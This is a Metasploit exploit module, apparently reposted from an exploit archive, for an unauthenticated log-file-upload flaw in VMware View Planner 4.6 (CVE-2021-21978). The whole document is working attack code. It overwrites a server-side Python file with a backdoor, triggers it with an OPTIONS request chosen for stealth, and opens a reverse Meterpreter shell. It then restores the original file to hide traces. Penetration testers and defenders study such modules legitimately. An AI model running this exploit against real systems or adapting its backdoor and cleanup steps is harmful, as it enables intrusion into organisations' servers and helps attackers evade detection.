VMware View Planner 4.6 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware View Planner Unauthenticated Log File Upload RCE',  
'Description' => %q{  
This module exploits an unauthenticated log file upload within the  
log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6  
Security Patch 1.  
  
Successful exploitation will result in RCE as the apache user inside  
the appacheServer Docker container.  
},  
'Author' => [  
'Mikhail Klyuchnikov', # Discovery  
'wvu', # Analysis and PoC  
'Grant Willcox' # Metasploit Module  
],  
'References' => [  
['CVE', '2021-21978'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0003.html'],  
['URL', 'https://attackerkb.com/assessments/fc456e03-adf5-409a-955a-8a4fb7e79ece'] # wvu's PoC  
],  
'DisclosureDate' => '2021-03-02', # Vendor advisory  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'python',  
'Targets' => [  
[  
'VMware View Planner 4.6.0',  
{  
'Arch' => ARCH_PYTHON,  
'Type' => :linux_command,  
'DefaultOptions' => {  
'PAYLOAD' => 'python/meterpreter/reverse_tcp'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wsgi_log_upload', 'log_upload_wsgi.py')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
unless res.code == 200 && !res.body.empty?  
return CheckCode::Safe('log_upload_wsgi.py file not found at the expected location.')  
end  
  
@original_content = res.body # If the server responded with the contents of log_upload_wsgi.py, lets save this for later restoration.  
  
if res.body&.include?('import hashlib') && res.body&.include?('if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:')  
return CheckCode::Safe("Target's log_upload_wsgi.py file has been patched.")  
end  
  
CheckCode::Appears('Vulnerable log_upload_wsgi.py file identified!')  
end  
  
# We need to upload a file twice: once for uploading the backdoor, and once for restoring the original file.  
# As the code for both is the same, minus the content of the file, this is a generic function to handle that.  
def upload_file(content)  
mime = Rex::MIME::Message.new  
mime.add_part(content, 'application/octet-stream', nil, "form-data; name=\"logfile\"; filename=\"#{Rex::Text.rand_text_alpha(20)}\"")  
mime.add_part('{"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}', nil, nil, 'form-data; name="logMetaData"')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'logupload'),  
'ctype' => "multipart/form-data; boundary=#{mime.bound}",  
'data' => mime.to_s  
)  
unless res.to_s.include?('File uploaded successfully.')  
fail_with(Failure::UnexpectedReply, "Target indicated that the file wasn't uploaded successfully!")  
end  
end  
  
def exploit  
# Here we want to grab our template file, taken from a clean install but  
# with a backdoor section added to it, and then fill in the PAYLOAD placeholder  
# with the payload we want to execute.  
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)  
file_content = File.read(File.join(data_dir, 'log_upload_wsgi.py'))  
  
payload.encoded.gsub!(/"/, '\\"')  
file_content['PAYLOAD'] = payload.encoded  
  
# Now that things are primed, upload the file to the target.  
print_status('Uploading backdoor to system via the arbitrary file upload vulnerability!')  
upload_file(file_content)  
print_good('Backdoor uploaded!')  
  
# Use the OPTIONS request to trigger the backdoor. Technically this  
# could be any other method including invalid ones like BACKDOOR, but for  
# the purposes of stealth lets use a legitimate one.  
print_status('Sending request to execute the backdoor!')  
send_request_cgi(  
'method' => 'OPTIONS',  
'uri' => normalize_uri(target_uri.path, 'logupload')  
)  
ensure  
# At this point we should have our shell after waiting a few seconds,  
# so lets now restore the original file so we don't leave anything behind.  
print_status('Reuploading the original code to remove the backdoor!')  
upload_file(@original_content)  
print_good('Original file restored, enjoy the shell!')  
end  
end  
`